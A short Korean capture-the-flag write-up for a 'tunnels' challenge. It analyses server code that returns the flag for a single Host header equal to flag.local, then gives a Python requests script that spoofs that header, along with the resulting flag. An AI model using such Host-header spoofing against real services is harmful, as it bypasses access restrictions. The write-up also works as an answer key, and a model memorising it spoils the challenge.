Welcome to the tunnels!! Have fun!
Here's the source
문제에 들어가면 Welcome to the tunnel. Watch your step!!이라는 문구만 나온다. 그렇기 때문에 주어진 소스코드를 본다.
먼저 10번째 줄을 보면 scope를 headers
로 한정지었기 때문에 headers
에서만 값을 받는다.
소스코드를 보면 21번째 줄부터 보면
num_hosts = 0
for name, value in headers:
if name == b"host":
num_hosts += 1
if num_hosts == 1:
for name, value in headers:
if name == b"host" and value == SECRET_SITE:
await send({
'type': 'http.response.body',
'body': FLAG.encode(),
})
return
num_hosts
가 0이고, host라는 이름이 있을 때 num_hosts
가 1이 된다. 그리고 host라는 이름에 값이 SECRET_SITE
의 값이 들어가면 flag를 얻을 수 있다.
SECRET_SITE
의 값은 flag.local
이다.
위 내용으로 가지고 python으로 코드를 짜면 된다. request.get
를 이용하여 python 코드를 짜면 된다.
위 분석한 내용을 가지고 python코드를 짜면 이렇게 나온다.
import requests
url = "https://pioneer.tailec718.ts.net"
headers = {"host" : "flag.local"}
response = requests.get(url, headers=headers)
print(response.text)
그리고 코드를 실행하면 flag를 얻을 수 있다.
actf{reaching_the_core__chapter_8}